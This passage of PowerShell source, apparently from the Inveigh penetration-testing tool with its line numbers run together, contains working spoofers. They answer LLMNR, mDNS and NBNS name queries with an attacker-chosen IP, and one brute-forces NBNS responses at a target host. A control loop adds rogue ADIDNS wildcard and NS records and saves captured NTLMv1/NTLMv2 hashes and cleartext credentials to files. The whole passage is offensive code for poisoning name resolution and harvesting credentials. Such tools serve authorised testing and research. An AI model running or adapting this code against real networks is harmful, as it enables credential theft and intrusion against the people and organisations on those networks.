$LLMNR_UDP_client.Client.ReceiveTimeout = 5000 5143 } 5144 5145 if($LLMNR_request_data -and [System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now 5146 { 5147 5148 $LLMNR_response_packet = $LLMNR_request_data[0,1] + 5149 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + 5150 $LLMNR_request_data[12..$LLMNR_request_data.Length] + 5151 $LLMNR_request_data[12..$LLMNR_request_data.Length] + 5152 $LLMNR_TTL_bytes + 5153 0x00,0x04 + 5154 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 5155 5156 $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) 5157 $source_IP = $LLMNR_listener_endpoint.Address 5158 $LLMNR_response_type = "[+]" 5159 5160 if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) 5161 { 5162 $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) 5163 $inveigh.request_table_updated = $true 5164 } 5165 else 5166 { 5167 $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString 5168 $inveigh.request_table_updated = $true 5169 } 5170 5171 $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" -Enabled $LLMNR 5172 $LLMNR_response_type = $LLMNR_response_message[0] 5173 $LLMNR_response_message = $LLMNR_response_message[1] 5174 5175 if($LLMNR_response_message -eq '[response sent]') 5176 { 5177 $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) 5178 $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) 5179 $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) 5180 $LLMNR_UDP_client.Close() 5181 $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5182 $LLMNR_UDP_client.ExclusiveAddressUse = $false 5183 $LLMNR_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true) 5184 $LLMNR_UDP_client.Client.Bind($LLMNR_listener_endpoint) 5185 $LLMNR_multicast_group = [IPAddress]"224.0.0.252" 5186 $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) 5187 $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 5188 } 5189 5190 if($LLMNR_request_data) 5191 { 5192 $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null 5193 } 5194 5195 $LLMNR_request_data = $null 5196 } 5197 5198 } 5199 5200 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] leaving") > $null 5201 $LLMNR_UDP_client.Close() 5202 } 5203 5204 # Unprivileged mDNS Spoofer ScriptBlock 5205 $mDNS_spoofer_scriptblock = 5206 { 5207 param ($Inspect,$mDNSTTL,$mDNSTypes,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore) 5208 5209 $mDNS_running = $true 5210 $mDNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5353) 5211 5212 try 5213 { 5214 $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5215 $mDNS_UDP_client.ExclusiveAddressUse = $false 5216 $mDNS_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true) 5217 $mDNS_UDP_client.Client.Bind($mDNS_listener_endpoint) 5218 5219 } 5220 catch 5221 { 5222 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting mDNS spoofer") > $null 5223 $error_message = $_.Exception.Message 5224 $error_message = $error_message -replace "`n","" 5225 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 5226 $mDNS_running = $false 5227 } 5228 5229 $mDNS_multicast_group = [IPAddress]"224.0.0.251" 5230 $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) 5231 $mDNS_UDP_client.Client.ReceiveTimeout = 5000 5232 $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) 5233 [Array]::Reverse($mDNS_TTL_bytes) 5234 5235 while($inveigh.running -and $mDNS_running) 5236 { 5237 5238 try 5239 { 5240 $mDNS_request_data = $mDNS_UDP_client.Receive([Ref]$mDNS_listener_endpoint) 5241 } 5242 catch 5243 { 5244 $mDNS_UDP_client.Close() 5245 $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5246 $mDNS_UDP_client.ExclusiveAddressUse = $false 5247 $mDNS_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true) 5248 $mDNS_UDP_client.Client.Bind($mDNS_listener_endpoint) 5249 $mDNS_multicast_group = [IPAddress]"224.0.0.251" 5250 $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) 5251 $mDNS_UDP_client.Client.ReceiveTimeout = 5000 5252 } 5253 5254 if(([System.BitConverter]::ToString($mDNS_request_data)).EndsWith("-00-01-80-01") -and [System.BitConverter]::ToString($mDNS_request_data[4..11]) -eq "00-01-00-00-00-00-00-00") 5255 { 5256 $source_IP = $mDNS_listener_endpoint.Address 5257 $mDNS_query_string_full = Get-NameQueryString 12 $mDNS_request_data 5258 $mDNS_query_string = ($mDNS_query_string_full.Split("."))[0] 5259 $mDNS_response_type = "[+]" 5260 5261 $mDNS_response_packet = $mDNS_request_data[0,1] + 5262 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + 5263 $mDNS_request_data[12..($mDNS_query_string_full.Length + 13)] + 5264 0x00,0x01,0x00,0x01 + 5265 $mDNS_TTL_bytes + 5266 0x00,0x04 + 5267 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 5268 5269 $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" -Enabled $mDNS 5270 $mDNS_response_type = $mDNS_response_message[0] 5271 $mDNS_response_message = $mDNS_response_message[1] 5272 5273 if($mDNS_response_message -eq '[response sent]') 5274 { 5275 $mDNS_destination_endpoint = New-Object Net.IPEndpoint($mDNS_listener_endpoint.Address,$mDNS_listener_endpoint.Port) 5276 $mDNS_UDP_client.Connect($mDNS_destination_endpoint) 5277 $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) 5278 $mDNS_UDP_client.Close() 5279 $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5280 $mDNS_UDP_client.ExclusiveAddressUse = $false 5281 $mDNS_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true) 5282 $mDNS_UDP_client.Client.Bind($mDNS_listener_endpoint) 5283 $mDNS_multicast_group = [IPAddress]"224.0.0.251" 5284 $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) 5285 $mDNS_UDP_client.Client.ReceiveTimeout = 5000 5286 } 5287 5288 if($mDNS_request_data) 5289 { 5290 $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null 5291 } 5292 5293 $mDNS_request_data = $null 5294 } 5295 elseif(([System.BitConverter]::ToString($mDNS_request_data)).EndsWith("-00-01") -and ([System.BitConverter]::ToString( 5296 $mDNS_request_data[4..11]) -eq "00-01-00-00-00-00-00-00" -or [System.BitConverter]::ToString($mDNS_request_data[4..11]) -eq "00-02-00-00-00-00-00-00")) 5297 { 5298 $source_IP = $mDNS_listener_endpoint.Address 5299 $mDNS_query_string_full = Get-NameQueryString 12 $mDNS_request_data 5300 $mDNS_query_string = ($mDNS_query_string_full.Split("."))[0] 5301 $mDNS_response_type = "[+]" 5302 5303 $mDNS_response_packet = $mDNS_request_data[0,1] + 5304 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + 5305 $mDNS_request_data[12..($mDNS_query_string_full.Length + 13)] + 5306 0x00,0x01,0x00,0x01 + 5307 $mDNS_TTL_bytes + 5308 0x00,0x04 + 5309 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 5310 5311 $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" -Enabled $mDNS 5312 $mDNS_response_type = $mDNS_response_message[0] 5313 $mDNS_response_message = $mDNS_response_message[1] 5314 5315 if($mDNS_response_message -eq '[response sent]') 5316 { 5317 $mDNS_destination_endpoint = New-Object Net.IPEndpoint([IPAddress]"224.0.0.251",5353) 5318 $mDNS_UDP_client.Connect($mDNS_destination_endpoint) 5319 $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) 5320 $mDNS_UDP_client.Close() 5321 $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 5322 $mDNS_multicast_group = [IPAddress]"224.0.0.251" 5323 $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) 5324 $mDNS_UDP_client.Client.ReceiveTimeout = 5000 5325 } 5326 5327 if($mDNS_request_data) 5328 { 5329 $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null 5330 } 5331 5332 $mDNS_request_data = $null 5333 } 5334 5335 } 5336 5337 $mDNS_UDP_client.Close() 5338 } 5339 5340 # Unprivileged NBNS Spoofer ScriptBlock 5341 $NBNS_spoofer_scriptblock = 5342 { 5343 param ($Inspect,$IP,$NBNSTTL,$NBNSTypes,$SpooferIP,$SpooferHostsIgnore,$SpooferHostsReply, 5344 $SpooferIPsIgnore,$SpooferIPsReply,$SpooferNonprintable) 5345 5346 $NBNS_running = $true 5347 $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) 5348 5349 try 5350 { 5351 $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 5352 } 5353 catch 5354 { 5355 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting NBNS spoofer") > $null 5356 $error_message = $_.Exception.Message 5357 $error_message = $error_message -replace "`n","" 5358 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 5359 $NBNS_running = $false 5360 } 5361 5362 $NBNS_UDP_client.Client.ReceiveTimeout = 5000 5363 $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) 5364 [Array]::Reverse($NBNS_TTL_bytes) 5365 5366 while($inveigh.running -and $NBNS_running) 5367 { 5368 5369 try 5370 { 5371 $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) 5372 } 5373 catch 5374 { 5375 $NBNS_UDP_client.Close() 5376 $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 5377 $NBNS_UDP_client.Client.ReceiveTimeout = 5000 5378 } 5379 5380 if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') 5381 { 5382 $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) 5383 [Array]::Reverse($NBNS_TTL_bytes) 5384 5385 $NBNS_response_packet = $NBNS_request_data[0,1] + 5386 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + 5387 $NBNS_request_data[13..$NBNS_request_data.Length] + 5388 $NBNS_TTL_bytes + 5389 0x00,0x06,0x00,0x00 + 5390 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + 5391 0x00,0x00,0x00,0x00 5392 5393 $source_IP = $NBNS_listener_endpoint.Address 5394 $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) 5395 $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type 5396 $NBNS_type = $NBNS_request_data[47] 5397 $NBNS_response_type = "[+]" 5398 $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) 5399 $NBNS_query = $NBNS_query -replace "-00","" 5400 $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 5401 $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) 5402 $NBNS_query_string_encoded_check = $NBNS_query_string_encoded 5403 $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) 5404 $NBNS_query_string_subtracted = $null 5405 $NBNS_query_string = $null 5406 $n = 0 5407 5408 do 5409 { 5410 $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) 5411 $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) 5412 $n += 1 5413 } 5414 until($n -ge ($NBNS_query_string_encoded.Length)) 5415 5416 $n = 0 5417 5418 do 5419 { 5420 $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) 5421 $n += 2 5422 } 5423 until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15) 5424 5425 if($NBNS_query_string_encoded_check.StartsWith("ABAC") -and $NBNS_query_string_encoded_check.EndsWith("ACAB")) 5426 { 5427 $NBNS_query_string = $NBNS_query_string.Substring(2) 5428 $NBNS_query_string = $NBNS_query_string.Substring(0, $NBNS_query_string.Length - 1) 5429 $NBNS_query_string = "<01><02>" + $NBNS_query_string + "<02>" 5430 } 5431 5432 if($NBNS_query_string -notmatch '[^\x00-\x7F]+') 5433 { 5434 5435 if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) 5436 { 5437 $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) 5438 $inveigh.request_table_updated = $true 5439 } 5440 else 5441 { 5442 $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString 5443 $inveigh.request_table_updated = $true 5444 } 5445 5446 } 5447 5448 $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" -Enabled $NBNS -NBNSType $NBNS_type 5449 $NBNS_response_type = $NBNS_response_message[0] 5450 $NBNS_response_message = $NBNS_response_message[1] 5451 5452 if($NBNS_response_message -eq '[response sent]') 5453 { 5454 $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,$NBNS_listener_endpoint.Port) 5455 $NBNS_UDP_client.Connect($NBNS_destination_endpoint) 5456 $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) 5457 $NBNS_UDP_client.Close() 5458 $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 5459 $NBNS_UDP_client.Client.ReceiveTimeout = 5000 5460 } 5461 5462 if($NBNS_request_data) 5463 { 5464 $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null 5465 } 5466 5467 $NBNS_request_data = $null 5468 } 5469 5470 } 5471 5472 $NBNS_UDP_client.Close() 5473 } 5474 5475 # NBNS BruteForce ScriptBlock 5476 $NBNS_bruteforce_spoofer_scriptblock = 5477 { 5478 param ($NBNSBruteForceHost,$NBNSBruteForcePause,$NBNSBruteForceTarget,$NBNSTTL,$SpooferIP) 5479 5480 $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() 5481 5482 $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, 5483 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 5484 5485 $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($NBNSBruteForceHost) 5486 $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) 5487 $hostname_encoded = $hostname_encoded.Replace("-","") 5488 $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) 5489 $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) 5490 [Array]::Reverse($NBNS_TTL_bytes) 5491 5492 for($i=0; $i -lt $hostname_encoded.Count; $i++) 5493 { 5494 5495 if($hostname_encoded[$i] -gt 64) 5496 { 5497 $hostname_bytes[$i] = $hostname_encoded[$i] + 10 5498 } 5499 else 5500 { 5501 $hostname_bytes[$i] = $hostname_encoded[$i] + 17 5502 } 5503 5504 } 5505 5506 $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + 5507 $hostname_bytes + 5508 0x00,0x20,0x00,0x01 + 5509 $NBNS_TTL_bytes + 5510 0x00,0x06,0x00,0x00 + 5511 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + 5512 0x00,0x00,0x00,0x00 5513 5514 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") > $null 5515 $NBNS_paused = $false 5516 $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) 5517 $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) 5518 $destination_point = New-Object Net.IPEndpoint($destination_IP,137) 5519 $NBNS_bruteforce_UDP_client.Connect($destination_point) 5520 5521 while($inveigh.running) 5522 { 5523 5524 :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.running) 5525 { 5526 5527 if($NBNS_paused) 5528 { 5529 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Resuming NBNS brute force spoofer") > $null 5530 $NBNS_paused = $false 5531 } 5532 5533 for ($i = 0; $i -lt 255; $i++) 5534 { 5535 5536 for ($j = 0; $j -lt 255; $j++) 5537 { 5538 $NBNS_response_packet[0] = $i 5539 $NBNS_response_packet[1] = $j 5540 $NBNS_bruteforce_UDP_client.send($NBNS_response_packet,$NBNS_response_packet.Length) 5541 5542 if($inveigh.hostname_spoof -and $NBNSBruteForcePause) 5543 { 5544 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Pausing NBNS brute force spoofer") > $null 5545 $NBNS_paused = $true 5546 break NBNS_spoofer_loop 5547 } 5548 5549 } 5550 5551 } 5552 5553 } 5554 5555 Start-Sleep -m 5 5556 } 5557 5558 $NBNS_bruteforce_UDP_client.Close() 5559 } 5560 5561 # Control Loop ScriptBlock 5562 $control_scriptblock = 5563 { 5564 param ($ADIDNSACE,$ADIDNSCleanup,[System.Management.Automation.PSCredential]$ADIDNSCredential,$ADIDNSDomain, 5565 $ADIDNSDomainController,$ADIDNSForest,$ADIDNSHostsIgnore,$ADIDNSNS,$ADIDNSNSTarget,$ADIDNSPartition, 5566 $ADIDNSThreshold,$ADIDNSTTL,$ADIDNSZone,$ConsoleQueueLimit,$elevated_privilege,$NBNSBruteForcePause, 5567 $RunCount,$RunTime,$SpooferIP) 5568 5569 function Invoke-OutputQueueLoop 5570 { 5571 5572 while($inveigh.output_queue.Count -gt 0) 5573 { 5574 $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null 5575 5576 if($inveigh.file_output) 5577 { 5578 5579 if ($inveigh.output_queue[0].StartsWith("[+] ") -or $inveigh.output_queue[0].StartsWith("[*] ") -or $inveigh.output_queue[0].StartsWith("[!] ") -or $inveigh.output_queue[0].StartsWith("[-] ")) 5580 { 5581 $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null 5582 } 5583 else 5584 { 5585 $inveigh.log_file_queue.Add("[redacted]") > $null 5586 } 5587 5588 } 5589 5590 if($inveigh.log_output) 5591 { 5592 $inveigh.log.Add($inveigh.output_queue[0]) > $null 5593 } 5594 5595 $inveigh.output_queue.RemoveAt(0) 5596 } 5597 5598 } 5599 5600 function Stop-InveighRunspace 5601 { 5602 param ([String]$Message) 5603 5604 if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) 5605 { 5606 5607 try 5608 { 5609 $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") 5610 $certificate_store.Open('ReadWrite') 5611 $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) 5612 5613 foreach($certificate in $certificates) 5614 { 5615 $certificate_store.Remove($certificate) 5616 } 5617 5618 $certificate_store.Close() 5619 } 5620 catch 5621 { 5622 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]") > $null 5623 } 5624 5625 } 5626 5627 if($ADIDNSCleanup -eq 'Y' -and $inveigh.ADIDNS_table.Count -gt 0) 5628 { 5629 [Array]$ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys 5630 5631 foreach($ADIDNS_host in $ADIDNS_table_keys_temp) 5632 { 5633 5634 if($inveigh.ADIDNS_table.$ADIDNS_host -ge 1) 5635 { 5636 5637 try 5638 { 5639 Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $ADIDNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone 5640 $inveigh.ADIDNS_table.$ADIDNS_host = $null 5641 } 5642 catch 5643 { 5644 $error_message = $_.Exception.Message 5645 $error_message = $error_message -replace "`n","" 5646 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 5647 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] ADIDNS host record for $ADIDNS_host remove failed") > $null 5648 } 5649 5650 } 5651 5652 } 5653 5654 } 5655 5656 if($inveigh.relay_running) 5657 { 5658 Start-Sleep -m 100 5659 5660 if($Message) 5661 { 5662 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $Message") > $null 5663 } 5664 else 5665 { 5666 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting") > $null 5667 } 5668 5669 if(!$inveigh.running) 5670 { 5671 Invoke-OutputQueueLoop 5672 Start-Sleep -m 100 5673 } 5674 5675 $inveigh.relay_running = $false 5676 } 5677 5678 if($inveigh.running) 5679 { 5680 5681 if($Message) 5682 { 5683 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $Message") > $null 5684 } 5685 else 5686 { 5687 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting") > $null 5688 } 5689 5690 Invoke-OutputQueueLoop 5691 5692 if(!$elevated_privilege) 5693 { 5694 Start-Sleep -s 3 5695 } 5696 5697 $inveigh.running = $false 5698 } 5699 5700 $inveigh.ADIDNS = $null 5701 $inveigh.HTTPS = $false 5702 } 5703 5704 if($inveigh.ADIDNS -contains 'Wildcard') 5705 { 5706 Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Node '*' -Partition $ADIDNSPartition -Type 'A'-TTL $ADIDNSTTL -Zone $ADIDNSZone 5707 } 5708 5709 if($inveigh.ADIDNS -contains 'NS') 5710 { 5711 5712 if($ADIDNSNSTarget.EndsWith($ADIDNSZone)) 5713 { 5714 $NS_data = $ADIDNSNSTarget 5715 $ADIDNSNSTarget = $ADIDNSNSTarget -replace ".$ADIDNSZone",'' 5716 } 5717 else 5718 { 5719 $NS_data = $ADIDNSNSTarget + "." + $ADIDNSZone 5720 } 5721 5722 Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Node $ADIDNSNSTarget -Partition $ADIDNSPartition -Type 'A' -TTL $ADIDNSTTL -Zone $ADIDNSZone 5723 Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $NS_data -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Node $ADIDNSNS -Partition $ADIDNSPartition -Type 'NS' -TTL $ADIDNSTTL -Zone $ADIDNSZone 5724 } 5725 5726 if($NBNSBruteForcePause) 5727 { 5728 $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause 5729 } 5730 5731 $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count 5732 $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count 5733 $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count 5734 5735 if($RunTime) 5736 { 5737 $control_timeout = New-TimeSpan -Minutes $RunTime 5738 $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 5739 } 5740 5741 while($inveigh.running) 5742 { 5743 5744 if($NBNSBruteForcePause -and $inveigh.hostname_spoof) 5745 { 5746 5747 if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) 5748 { 5749 $inveigh.hostname_spoof = $false 5750 } 5751 5752 } 5753 5754 if($RunCount) 5755 { 5756 5757 if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) 5758 { 5759 Stop-InveighRunspace "reaching run count" 5760 } 5761 5762 } 5763 5764 if($RunTime) 5765 { 5766 5767 if($control_stopwatch.Elapsed -ge $control_timeout) 5768 { 5769 Stop-InveighRunspace "reaching run time" 5770 } 5771 5772 } 5773 5774 if($inveigh.ADIDNS -contains 'Combo' -and $inveigh.request_table_updated) 5775 { 5776 5777 try 5778 { 5779 Invoke-ADIDNSCheck -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Ignore $ADIDNSHostsIgnore -Partition $ADIDNSPartition -RequestTable $inveigh.request_table -Threshold $ADIDNSThreshold -TTL $ADIDNSTTL -Zone $ADIDNSZone 5780 } 5781 catch 5782 { 5783 $error_message = $_.Exception.Message 5784 $error_message = $error_message -replace "`n","" 5785 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 5786 } 5787 5788 $inveigh.request_table_updated = $false 5789 } 5790 5791 if($inveigh.ADIDNS -and $inveigh.ADIDNS_table.Count -gt 0) 5792 { 5793 [Array]$ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys 5794 5795 foreach($ADIDNS_host in $ADIDNS_table_keys_temp) 5796 { 5797 5798 if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1) 5799 { 5800 5801 try 5802 { 5803 Grant-ADIDNSPermission -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $ADIDNS_host -Principal 'Authenticated Users'-Zone $ADIDNSZone 5804 $inveigh.ADIDNS_table.$ADIDNS_host = 2 5805 } 5806 catch 5807 { 5808 $error_message = $_.Exception.Message 5809 $error_message = $error_message -replace "`n","" 5810 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 5811 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS ACE add for host record for $ADIDNS_host failed") > $null 5812 } 5813 5814 } 5815 5816 } 5817 5818 } 5819 5820 if($inveigh.file_output) 5821 { 5822 5823 while($inveigh.log_file_queue.Count -gt 0) 5824 { 5825 $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append 5826 $inveigh.log_file_queue.RemoveAt(0) 5827 } 5828 5829 while($inveigh.NTLMv1_file_queue.Count -gt 0) 5830 { 5831 $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append 5832 $inveigh.NTLMv1_file_queue.RemoveAt(0) 5833 } 5834 5835 while($inveigh.NTLMv2_file_queue.Count -gt 0) 5836 { 5837 $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append 5838 $inveigh.NTLMv2_file_queue.RemoveAt(0) 5839 } 5840 5841 while($inveigh.cleartext_file_queue.Count -gt 0) 5842 { 5843 $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append 5844 $inveigh.cleartext_file_queue.RemoveAt(0) 5845 } 5846 5847 while($inveigh.POST_request_file_queue.Count -gt 0) 5848 { 5849 $inveigh.POST_request_file_queue[0]|Out-File $inveigh.POST_request_out_file -Append 5850 $inveigh.POST_request_file_queue.RemoveAt(0) 5851 } 5852 5853 } 5854 5855 if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) 5856 { 5857 5858 while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) 5859 { 5860 $inveigh.console_queue.RemoveAt(0) 5861 } 5862 5863 } 5864 5865 if(!$inveigh.status_output) 5866 { 5867 Invoke-OutputQueueLoop 5868 } 5869 5870 Start-Sleep -m 5 5871 5872 if($inveigh.stop) 5873 { 5874 $inveigh.console_queue.Clear() 5875 Stop-InveighRunspace 5876 } 5877 5878 } 5879 5880 } 5881 5882 #endregion 5883 #region begin startup functions 5884 5885 # HTTP Listener Startup Function 5886 function HTTPListener 5887 { 5888 $proxy_listener = $false 5889 $HTTPS_listener = $false 5890 $HTTP_runspace = [RunspaceFactory]::CreateRunspace() 5891 $HTTP_runspace.Open() 5892 $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 5893 $HTTP_powershell = [PowerShell]::Create() 5894 $HTTP_powershell.Runspace = $HTTP_runspace 5895 